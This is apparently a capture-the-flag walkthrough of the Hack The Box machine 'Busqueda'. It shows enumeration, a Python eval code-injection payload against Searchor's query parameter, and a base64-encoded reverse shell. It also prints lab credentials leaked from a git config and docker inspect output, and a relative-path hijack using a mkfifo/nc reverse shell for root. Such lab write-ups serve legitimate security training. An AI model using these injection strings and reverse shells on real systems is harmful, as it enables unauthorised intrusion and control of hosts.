Enumeration
Start with nmap scan.
nmap -sC -sV 10.10.11.208
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 4f:e3:a6:67:a2:27:f9:11:8d:c3:0e:d7:73:a0:2c:28 (ECDSA)
|_ 256 81:6e:78:76:6b:8a:ea:7d:1b:ab:d4:36:b7:f8:ec:c4 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://searcher.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: searcher.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Check ssh and a web server are running.
It failed to redirect to http://searcher.htb, so add it to /etc/hosts file.
If nmap again after adding it to the /etc/hosts file, I got a different result.
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 4f:e3:a6:67:a2:27:f9:11:8d:c3:0e:d7:73:a0:2c:28 (ECDSA)
|_ 256 81:6e:78:76:6b:8a:ea:7d:1b:ab:d4:36:b7:f8:ec:c4 (ED25519)
80/tcp open http Apache httpd 2.4.52
| http-server-header:
| Apache/2.4.52 (Ubuntu)
|_ Werkzeug/2.1.2 Python/3.10.6
|_http-title: Searcher
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Here, I can see it is using Werkzeug 2.1.2 version.
My first thought was to find vulnerabilities in the version. However, I couldn’t.
As a next move, I actually go to the web page and see the source code.
Then I found it is using Searchor 2.4.0 version.
I go to the link and see the GitHub page.
(At this step I found the exploit for the user flag. But I decided not to choose an easy way. I will leave the source anyway.)
Source code analysis
I found the vulnerability patch from the Github page.
As shown in the image, the eval part had caused the vulnerability and it is removed in the patch.
I used this information.
The engine parameter has a list of choices. So I couldn’t input something else but only determined options.
I tested the query parameter.
If I inject a code something like below,
‘)+str(__import__(‘os).system(‘id’))#
Then it will be interpreted as like below during the process.
eval(f”Engine.(engine).search(’’)+str(__import__(‘os’).system(‘id’))#
The lesson here: eval can be vulnerable and should be avoided.
By using __import__ a module can be imported in the middle of source codes.
User flag
After checking it works, I wrote an encoded reverse shell and connected it to my shell.
‘)+str(__import__(‘os’).system(‘echo c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMy83Nzc3IDA+JjEK|base64 -d|bash’))#
Managed to access the server as svc.
Enumeration 2
In the /var/www/app directory, there is a hidden directory .git.
There’s some interesting information in the config file.
# in the .git/config file
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[remote “origin”]
url = http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git
fetch = +refs/heads/*:refs/remotes/origin/*
[branch “main”]
remote = origin
merge = refs/heads/main
There is another domain called gitea.searcher.htb and the user credential.
Firstly add the new domain to /etc/hosts file. Then, check the web page.
It is a Gitea page. And sign in using the credential.
Logged in and I looked around the site but there’s nothing much that I can check.
I found there is the administrator.
Since I found the password for a user, I disconnected the reverse shell and opened ssh.
svc@10.10.11.208
root flag
I checked sudo permissions that svc can use.
sudo -l
Matching Defaults entries for svc on busqueda:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User svc may run the following commands on busqueda:
(root) /usr/bin/python3 /opt/scripts/system-checkup.py *
system-checkup.py file can be executed as sudo.
sudo /usr/bin/python3 /opt/scripts/system-checkup.py *
Usage: /opt/scripts/system-checkup.py
docker-ps : List running docker containers
docker-inspect : Inpect a certain docker container
full-checkup : Run a full system checkup
When I executed it, it showed me 3 actions. Check them one by one.
sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps
[sudo] password for svc:
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
960873171e2e gitea/gitea:latest “/usr/bin/entrypoint…” 19 months ago Up About an hour 127.0.0.1:3000->3000/tcp, 127.0.0.1:222->22/tcp gitea
f84a6b33fb5a mysql:8 “docker-entrypoint.s…” 19 months ago Up About an hour 127.0.0.1:3306->3306/tcp, 33060/tcp mysql_db
Two containers are running. Gitea and mysql.
Check the next action. It requires a format and I chose json.
sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect ‘{{json .}}’ gitea|jq
…
“Env”: [
“USER_UID=115”,
“USER_GID=121”,
“GITEA__database__DB_TYPE=mysql”,
“GITEA__database__HOST=db:3306”,
“GITEA__database__NAME=gitea”,
“GITEA__database__USER=gitea”,
“GITEA__database__PASSWD=yuiu1hoiu4i5ho1uh”,
“PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin”,
“USER=git”,
“GITEA_CUSTOM=/data/gitea”
],
…
In the middle of the result, there is another credential. It seems like the administrator’s password.
Logged in as administrator this time. And I could read all the source files.
And there was an interesting part in the source code.
elif action == ‘full-checkup’:
try:
arg_list = [‘./full-checkup.sh’]
print(run_command(arg_list))
print(‘[+] Done!’)
except:
print(‘Something went wrong’)
exit(1)
If the action is full-checkup (which had not been tried at the time I read), it will run full-checkup.sh file. And the path is relative, not absolute.
The idea is to make a full-checkup.sh file and write a reverse shell payload in the file.
#! /bin/bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.3 5555 >/tmp/f
I wrote the reverse shell payload and executed the third action.
Lesson learned
- Check hidden files and directories. To use ls -la instead of ls.
- eval is vulnerable and exploitable.
- __import__ can import a module in the middle of a source code